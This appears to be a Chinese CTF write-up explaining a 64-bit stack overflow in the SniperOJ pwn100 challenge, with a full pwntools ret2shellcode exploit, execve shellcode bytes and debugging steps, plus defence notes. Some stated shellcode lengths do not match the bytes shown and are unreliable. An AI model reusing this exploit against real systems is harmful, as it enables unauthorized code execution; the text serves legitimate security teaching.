news 2026/10/31 2:52:45

64位栈溢出与Shellcode利用实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
64位栈溢出与Shellcode利用实战

1. 项目概述

sniperoj-pwn100-shellcode-x86-64是一道经典的PWN入门练习题,主要考察64位环境下shellcode的构造与利用技巧。这道题目来自SniperOJ平台,适合刚接触二进制安全的初学者理解栈溢出和shellcode的基本原理。

在实际操作中,我们需要通过分析程序保护机制、内存布局和漏洞点,最终构造出能够获取shell的payload。这道题的特殊之处在于它明确给出了栈地址,同时允许执行栈上的代码,为ret2shellcode攻击创造了理想条件。

2. 漏洞分析与环境准备

2.1 程序保护机制检查

使用checksec工具检查程序的安全保护机制:

checksec ./pwn100 [*] '/tmp/pwn100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments

关键发现:

  • NX disabled:栈内存可执行,这是ret2shellcode攻击的前提
  • No canary:可以直接进行栈溢出攻击
  • PIE enabled:代码段地址随机化,但题目给出了栈地址

2.2 关键代码分析

通过反汇编查看main函数关键逻辑:

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF buf[0] = 0LL; buf[1] = 0LL; setvbuf(_bss_start, 0LL, 1, 0LL); puts("Welcome to Sniperoj!"); printf("Do your kown what is it : [%p] ?\n", buf); puts("Now give me your answer : "); read(0, buf, 0x40uLL); return 0; }

漏洞点分析:

  1. 程序直接打印了buf的栈地址(关键信息泄露)
  2. read函数读取0x40(64)字节到buf,但buf实际大小只有16字节(明显的栈溢出)

2.3 调试环境搭建

推荐使用pwntools配合gdb进行动态调试:

from pwn import * context(os='linux', arch='amd64', log_level='debug') p = process('./pwn100') gdb.attach(p, ''' b *main+94 c ''')

调试技巧:

  • 在read函数调用前下断点,观察栈布局
  • 计算返回地址与buf的偏移量
  • 验证shellcode的执行情况

3. 攻击思路与payload构造

3.1 栈布局分析

通过调试可以获取以下关键信息:

  1. buf位于[rbp-0x10]
  2. 返回地址位于[rbp+0x8]
  3. 因此buf到返回地址的偏移量为0x10 + 0x8 = 24字节

内存布局示意图:

+-----------------+ | shellcode | 高地址 +-----------------+ | return addr | <- 覆盖为shellcode地址 +-----------------+ | padding | 24字节填充 +-----------------+ | buf | 低地址 +-----------------+

3.2 Shellcode选择与优化

常规的shellcraft生成的shellcode过长(约44字节),而我们的可用空间有限:

可用空间计算:

  • read读取0x40字节
  • buf本身占用0x10字节
  • 覆盖返回地址需要8字节
  • 剩余空间:0x40 - 0x10 - 8 = 0x28(40)字节

因此需要寻找或构造精简的shellcode。以下是经过验证的23字节execve("/bin/sh") shellcode:

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

这段shellcode的工作原理:

  1. xor eax, eax (清零eax)
  2. mov rbx, 0xff978cd091969dd1
  3. neg rbx (得到/bin/sh字符串地址)
  4. push rbx
  5. mov rdi, rsp (rdi指向/bin/sh)
  6. cdq (rdx清零)
  7. push rdx
  8. push rdi
  9. mov rsi, rsp
  10. mov al, 59 (execve系统调用号)
  11. syscall

3.3 完整payload构造

payload需要包含三部分:

  1. 24字节padding(覆盖到返回地址)
  2. 返回地址(指向shellcode)
  3. shellcode本身

构造过程:

buf_addr = int(p.recvuntil(']',drop=True),16) shellcode_addr = buf_addr + 32 # 24+8=32 payload = 'A'*24 # padding payload += p64(shellcode_addr) # 覆盖返回地址 payload += shellcode # 实际执行的shellcode

注意:shellcode_addr的计算需要考虑payload在栈中的布局。这里选择buf_addr+32是为了确保shellcode位于返回地址之后,避免被覆盖。

4. 完整利用脚本与调试技巧

4.1 完整exploit代码

from pwn import * context(os='linux', arch='amd64', log_level='debug') def exploit(): p = process('./pwn100') # 接收泄露的栈地址 p.recvuntil('[') buf_addr = p.recvuntil(']', drop=True) buf_addr = int(buf_addr, 16) log.success("Leaked stack address: 0x%x" % buf_addr) # 构造payload shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shellcode_addr = buf_addr + 32 payload = 'A'*24 payload += p64(shellcode_addr) payload += shellcode # 发送payload p.sendline(payload) p.interactive() if __name__ == '__main__': exploit()

4.2 调试技巧与常见问题

  1. 地址对齐问题:

    • 确保shellcode地址正确指向shellcode起始位置
    • 使用gdb查看栈布局:x/30gx $rsp
  2. shellcode执行失败:

    • 检查是否所有字符都能正确输入
    • 使用disasm查看shellcode是否被正确解释
  3. PIE的影响:

    • 虽然开启了PIE,但题目泄露了栈地址,不影响利用
    • 如果遇到奇怪崩溃,尝试调整shellcode地址偏移
  4. pwntools调试技巧:

    context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p, ''' b *main+94 x/10gx $rsp c ''')

5. 扩展知识与相关技术

5.1 Shellcode编写技巧

  1. 避免坏字符:

    • 某些场景下\x00会被截断
    • 使用编码技术避免特殊字符
  2. 更短的shellcode:

    • 可以进一步优化到21字节:
      shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
  3. 通用shellcode构造:

    • 使用pwntools的shellcraft模块:
      shellcode = asm(shellcraft.sh())

5.2 相关题目推荐

  1. ret2shellcode基础:

    • pwnable.kr - asm
    • CTFlearn - shellcode
  2. 进阶挑战:

    • 有NX保护的ret2shellcode
    • 需要自行映射可执行内存的题目
  3. 比赛真题:

    • NewstarCTF 2023 week2 pwn
    • BUUCTF - warmup

5.3 防御措施

虽然本题没有开启NX保护,但在实际环境中:

  1. 开启NX/DEP防止栈执行
  2. 使用栈保护金丝雀(canary)
  3. 地址随机化(ASLR/PIE)
  4. 安全的编码实践避免溢出

6. 总结与个人心得

这道sniperoj-pwn100-shellcode-x86-64题目虽然简单,但涵盖了PWN入门的多个关键知识点:

  1. 栈溢出基本原理:理解缓冲区溢出如何覆盖返回地址
  2. shellcode构造:学习编写精简高效的机器码
  3. 地址计算:掌握栈布局分析和偏移计算
  4. 调试技巧:使用gdb验证攻击效果

在实际操作中,最容易出错的是shellcode地址的计算。我建议先在gdb中手动验证地址是否正确,再编写完整exploit。另外,不同版本的libc可能会导致shellcode行为差异,遇到问题时可以尝试更换测试环境。

对于想深入学习PWN的同学,建议从这类基础题目入手,逐步掌握栈溢出、ROP等核心技术。同时要养成查看保护机制的习惯,这对后续学习更复杂的漏洞利用技术至关重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/31 2:52:44

协方差与变异系数:公式、代码与口径避坑指南

1. 一份数据两个结论&#xff1a;先把这两个指标的问题边界划清前阵子帮一个做硬件测试的团队看数据&#xff0c;会议室里两个人对着同一份记录争了半小时&#xff1a;一个人说"这批产品的重量波动明显比上一批大"&#xff0c;另一个人说"不对&#xff0c;标准差…

作者头像 李华
网站建设 2026/10/31 2:51:51

大模型技术职业发展指南:从零基础到高薪岗位

1. 大模型行业现状与职业机会分析2023年大模型技术爆发式发展&#xff0c;行业人才缺口达到惊人的12万人。我最近面试了7家AI公司&#xff0c;发现初级岗位年薪普遍在35-45万之间&#xff0c;而具备3年经验的核心研发岗年薪包轻松突破80万。这个薪资水平已经超过同级别互联网开…

作者头像 李华
网站建设 2026/10/31 2:51:36

Android日志系统logd架构与性能优化解析

1. logd 日志写入机制的核心架构解析在Android系统中&#xff0c;logd作为日志系统的核心守护进程&#xff0c;其写入流程设计体现了UNIX域套接字通信的精妙之处。整个架构围绕三个关键套接字构建&#xff1a;/dev/socket/logdw&#xff1a;专用于写入操作的套接字&#xff0c;…

作者头像 李华
网站建设 2026/10/31 2:51:33

电商后台商品维护:SPU/SKU、库存扣减与缓存一致性

简介&#xff1a;面向电子商务入门开发者与课程设计、毕业设计人群的网络商品销售管理系统源码包&#xff0c;围绕商品维护这一核心场景&#xff0c;覆盖商品查询录入、图片展示、库存预警、订单处理、配送与数据分析等业务环节&#xff0c;可用于理解中小型在线销售平台的功能…

作者头像 李华
网站建设 2026/10/31 2:50:38

SQL注入攻防实战:原理、工具与防御方案

1. 项目概述SQL注入作为Web安全领域的"元老级"漏洞&#xff0c;至今仍位列OWASP Top 10威胁榜首。去年某大型电商平台的数据泄露事件&#xff0c;根源就是一处未过滤的搜索框。我在企业红队评估中&#xff0c;90%的Web系统都能发现不同程度的注入问题。本文将带您从底…

作者头像 李华
网站建设 2026/10/31 2:50:36

远程控制排查与合规运维通道建设:驻留、连接、留痕实战

简介&#xff1a;Zero远控_04 是 Zero 远控系列教程第四份配套工程源码&#xff0c;面向已具备一定 C 与网络基础、希望动手实现远程控制的中级学习者。内容围绕客户端/服务器双端架构展开&#xff1a;服务端负责监听与身份校验&#xff0c;客户端完成连接建立与指令下发&#…

作者头像 李华